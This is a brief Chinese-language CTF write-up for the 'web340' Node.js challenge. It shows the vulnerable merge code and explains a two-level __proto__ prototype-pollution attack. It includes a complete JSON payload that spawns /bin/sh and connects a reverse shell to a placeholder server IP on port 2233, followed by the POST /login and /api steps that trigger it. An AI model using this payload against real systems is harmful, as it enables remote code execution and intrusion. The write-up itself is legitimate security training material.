nodejs/v10.19.0
题目描述处蓝奏云下载源码
web340.zip
提取关键部分
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}
发现 userinfo
的原型不是 Object
对象, userinfo.__proto__.__proto__
才是 Object
对象。
和 web339 一样,只不过要套两层才能污染 Object
对象,同样用原生 socket,服务端监听端口为 2233
(
{"__proto__":{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}
同样 POST 一下 /login 接口污染 query
对象
POST 一下 /api 接口触发
获取 flag